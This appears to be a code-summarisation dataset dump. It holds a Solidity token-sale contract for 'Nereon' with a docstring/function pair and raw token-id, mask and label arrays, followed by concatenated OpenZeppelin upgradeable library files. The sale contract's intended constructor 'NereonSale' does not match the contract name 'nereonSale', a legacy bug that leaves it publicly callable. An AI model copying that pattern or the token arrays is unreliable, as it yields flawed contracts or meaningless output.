//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
//if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
ApprovalReceiver(_spender).receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// Mint tokens and assign to some one
function mint(address _owner, uint256 _amount, bool _isRaw, uint32 timestamp) onlyOwner{
if (_isRaw) {
accounts[_owner].rawTokens = _amount.add(accounts[_owner].rawTokens).toUINT112();
supplies.rawTokens = _amount.add(supplies.rawTokens).toUINT128();
} else {
accounts[_owner].balance = _amount.add(accounts[_owner].balance).toUINT112();
}
accounts[_owner].lastMintedTimestamp = timestamp;
supplies.total = _amount.add(supplies.total).toUINT128();
Transfer(0, _owner, _amount);
}
// Offer bonus to raw tokens holder
function offerBonus(uint256 _bonus) onlyOwner {
bonusOffered = bonusOffered.add(_bonus);
supplies.total = _bonus.add(supplies.total).toUINT128();
Transfer(0, this, _bonus);
}
// Set owner to zero address, to disable mint, and enable token transfer
function seal() onlyOwner {
setOwner(0);
}
}
contract ApprovalReceiver {
function receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData);
}
// Contract to sell and distribute Nereon tokens
contract nereonSale is Owned{
/// chart of stage transition
///
/// deploy initialize startTime endTime finalize
/// | <-earlyStageLasts-> | | <- closedStageLasts -> |
/// O-----------O---------------O---------------------O-------------O------------------------O------------>
/// Created Initialized Early Normal Closed Finalized
enum Stage {
NotCreated,
Created,
Initialized,
Early,
Normal,
Closed,
Finalized
}
using SafeMath for uint256;
uint256 public constant totalSupply = (10 ** 9) * (10 ** 18); // 1 billion VEN, decimals set to 18
uint256 constant privateSupply = totalSupply * 9 / 100; // 9% for private ICO
uint256 constant commercialPlan = totalSupply * 23 / 100; // 23% for commercial plan
uint256 constant reservedForTeam = totalSupply * 5 / 100; // 5% for team
uint256 constant reservedForOperations = totalSupply * 22 / 100; // 22 for operations
// 59%
uint256 public constant nonPublicSupply = privateSupply + commercialPlan + reservedForTeam + reservedForOperations;
// 41%
uint256 public constant publicSupply = totalSupply - nonPublicSupply;
uint256 public constant officialLimit = 64371825 * (10 ** 18);
uint256 public constant channelsLimit = publicSupply - officialLimit;
// packed to 256bit
struct SoldOut {
uint16 placeholder; // placeholder to make struct pre-alloced
// amount of tokens officially sold out.
// max value of 120bit is about 1e36, it's enough for token amount
uint120 official;
uint120 channels; // amount of tokens sold out via channels
}
SoldOut soldOut;
uint256 constant nereonPerEth = 3500; // normal exchange rate
uint256 constant nereonPerEthEarlyStage = nereonPerEth + nereonPerEth * 15 / 100; // early stage has 15% reward
uint constant minBuyInterval = 30 minutes; // each account can buy once in 30 minutes
uint constant maxBuyEthAmount = 30 ether;
Nereon nereon; // Nereon token contract follows ERC20 standard
address ethVault; // the account to keep received ether
address nereonVault; // the account to keep non-public offered Nereon tokens
uint public constant startTime = 1503057600; // time to start sale
uint public constant endTime = 1504180800; // tiem to close sale
uint public constant earlyStageLasts = 3 days; // early bird stage lasts in seconds
bool initialized;
bool finalized;
function NereonSale() {
soldOut.placeholder = 1;
}
/// @notice calculte exchange rate according to current stage
/// @return exchange rate. zero if not in sale.
function exchangeRate() constant returns (uint256){
if (stage() == Stage.Early) {
return nereonPerEthEarlyStage;
}
if (stage() == Stage.Normal) {
return nereonPerEth;
}
return 0;
}
/// @notice for test purpose
function blockTime() constant returns (uint32) {
return uint32(block.timestamp);
}
/// @notice estimate stage
/// @return current stage
function stage() constant returns (Stage) {
if (finalized) {
return Stage.Finalized;
}
if (!initialized) {
// deployed but not initialized
return Stage.Created;
}
if (blockTime() < startTime) {
// not started yet
return Stage.Initialized;
}
if (uint256(soldOut.official).add(soldOut.channels) >= publicSupply) {
// all sold out
return Stage.Closed;
}
if (blockTime() < endTime) {
// in sale
if (blockTime() < startTime.add(earlyStageLasts)) {
// early bird stage
return Stage.Early;
}
// normal stage
return Stage.Normal;
}
// closed
return Stage.Closed;
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
/// @notice entry to buy tokens
function () payable {
buy();
}
/// @notice entry to buy tokens
function buy() payable {
// reject contract buyer to avoid breaking interval limit
require(!isContract(msg.sender));
require(msg.value >= 0.01 ether);
uint256 rate = exchangeRate();
// here don't need to check stage. rate is only valid when in sale
require(rate > 0);
// each account is allowed once in minBuyInterval
require(blockTime() >= nereon.lastMintedTimestamp(msg.sender) + minBuyInterval);
uint256 requested;
// and limited to maxBuyEthAmount
if (msg.value > maxBuyEthAmount) {
requested = maxBuyEthAmount.mul(rate);
} else {
requested = msg.value.mul(rate);
}
uint256 remained = officialLimit.sub(soldOut.official);
if (requested > remained) {
//exceed remained
requested = remained;
}
uint256 ethCost = requested.div(rate);
if (requested > 0) {
nereon.mint(msg.sender, requested, true, blockTime());
// transfer ETH to vault
ethVault.transfer(ethCost);
soldOut.official = requested.add(soldOut.official).toUINT120();
onSold(msg.sender, requested, ethCost);
}
uint256 toReturn = msg.value.sub(ethCost);
if(toReturn > 0) {
// return over payed ETH
msg.sender.transfer(toReturn);
}
}
/// @notice returns tokens sold officially
function officialSold() constant returns (uint256) {
return soldOut.official;
}
/// @notice returns tokens sold via channels
function channelsSold() constant returns (uint256) {
return soldOut.channels;
}
/// @notice manually offer tokens to channel
function offerToChannel(address _channelAccount, uint256 _nereonAmount) onlyOwner {
Stage stg = stage();
// since the settlement may be delayed, so it's allowed in closed stage
require(stg == Stage.Early || stg == Stage.Normal || stg == Stage.Closed);
soldOut.channels = _nereonAmount.add(soldOut.channels).toUINT120();
//should not exceed limit
require(soldOut.channels <= channelsLimit);
nereon.mint(
_channelAccount,
_nereonAmount,
true, // unsold tokens can be claimed by channels portion
blockTime()
);
onSold(_channelAccount, _nereonAmount, 0);
}
/// @notice initialize to prepare for sale
/// @param _nereon The address Nereon token contract following ERC20 standard
/// @param _ethVault The place to store received ETH
/// @param _nereonVault The place to store non-publicly supplied Nereon tokens
function initialize(
Nereon _nereon,
address _ethVault,
address _nereonVault) onlyOwner {
require(stage() == Stage.Created);
// ownership of token contract should already be this
require(_nereon.owner() == address(this));
require(address(_ethVault) != 0);
require(address(_nereonVault) != 0);
nereon = _nereon;
ethVault = _ethVault;
nereonVault = _nereonVault;
nereon.mint(
nereonVault,
reservedForTeam.add(reservedForOperations),
false, // team and operations reserved portion can't share unsold tokens
blockTime()
);
nereon.mint(
nereonVault,
privateSupply.add(commercialPlan),
true, // private ICO and commercial plan can share unsold tokens
blockTime()
);
initialized = true;
onInitialized();
}
/// @notice finalize
function finalize() onlyOwner {
// only after closed stage
require(stage() == Stage.Closed);
uint256 unsold = publicSupply.sub(soldOut.official).sub(soldOut.channels);
if (unsold > 0) {
// unsold Nereon as bonus
nereon.offerBonus(unsold);
}
nereon.seal();
finalized = true;
onFinalized();
}
event onInitialized();
event onFinalized();
event onSold(address indexed buyer, uint256 nereonAmount, uint256 ethCost);
} | @notice finalize only after closed stage unsold Nereon as bonus | function finalize() onlyOwner {
require(stage() == Stage.Closed);
uint256 unsold = publicSupply.sub(soldOut.official).sub(soldOut.channels);
if (unsold > 0) {
nereon.offerBonus(unsold);
}
nereon.seal();
finalized = true;
onFinalized();
}
event onInitialized();
event onFinalized();
event onSold(address indexed buyer, uint256 nereonAmount, uint256 ethCost);
| 2,089,949 | [
1,
30343,
1338,
1839,
4375,
6009,
16804,
1673,
423,
822,
265,
487,
324,
22889,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
12409,
1435,
1338,
5541,
288,
203,
3639,
2583,
12,
12869,
1435,
422,
16531,
18,
7395,
1769,
3639,
203,
203,
3639,
2254,
5034,
16804,
1673,
273,
1071,
3088,
1283,
18,
1717,
12,
87,
1673,
1182,
18,
3674,
22354,
2934,
1717,
12,
87,
1673,
1182,
18,
9114,
1769,
203,
203,
3639,
309,
261,
27595,
1673,
405,
374,
13,
288,
203,
5411,
290,
822,
265,
18,
23322,
38,
22889,
12,
27595,
1673,
1769,
540,
203,
3639,
289,
203,
3639,
290,
822,
265,
18,
307,
287,
5621,
203,
203,
3639,
727,
1235,
273,
638,
31,
203,
3639,
603,
7951,
1235,
5621,
203,
565,
289,
203,
203,
565,
871,
603,
11459,
5621,
203,
565,
871,
603,
7951,
1235,
5621,
203,
203,
565,
871,
603,
55,
1673,
12,
2867,
8808,
27037,
16,
2254,
5034,
290,
822,
265,
6275,
16,
2254,
5034,
13750,
8018,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
